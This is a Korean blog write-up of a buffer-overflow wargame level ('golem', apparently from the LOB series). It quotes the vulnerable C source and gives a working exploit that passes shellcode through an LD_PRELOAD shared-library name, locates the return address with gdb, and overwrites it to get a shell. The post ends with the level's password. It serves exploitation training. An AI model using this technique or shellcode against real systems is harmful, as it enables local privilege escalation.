2011. 6. 8. 03:14

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer!

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

}


1) if문으로 argv[1][47] != '\xbf' 체크.
2) [ RET ]을 제외한 buffer의 시작주소부터 0xbfffffff 까지 모두 초기화.

   

♧ buffer의 주소 밑. 즉, 스택의 아래 쪽에 쉘코드를 삽입해야 하는데

공유 라이브러리를 생성 후 LD_PRELOAD 환경 변수를 이용 한다.
(아래 내용을 참조 하자.) [ 참조1 ] [ 참조2 ]

   


   

♧ 공유 라이브러리 이름을 쉘코드로 하여 LD_PRELOAD 등록 후 스택 찌꺼기?에 남아있는 곳을 찾아 RET으로 설정한다.

∑ 익스 플로잇 작성!

① 공유 라이브러리 생성

# echo "void attack(){}" | cat > attack.c

# gcc attack.c -fPIC -shared -o $(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')

② LD_PRELOAD 환경변수 등록

export LD_PRELOAD="$(pwd)/$(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')"

③ GDB로 RET 주소 찾기. (사본::cp golem melog)

# gdb -q melog

# b *main+166

# r $(python -c 'print "\xbf"*48')

# x/50xw $ebp - 3000

대략 $ebp - 3000 지점 부터 내려오다 보면 "\x90" 보인다 중간 지점으로 RET 설정하자.

:: $(python -c 'print "\x10\xf6\xff\xbf"*12')

④ ∑xploit

성공 !!!

  


   

   

♣ 기타 사항

ⓐ LD_PRELOAD로 등록 후 원본(golem)과 사본(melog)의 libc주소가 서로 틀려 졌다.

ⓑ 그리하여 RTL을 이용 하여 만든 쉘코드는 원본(golem)에 적용되었다.

(이유는 잘 모르겠다 좀더 시간 내서 공부를 해야 될듯...-_)


 

   

golem : "cup of coffee"

Posted by devanix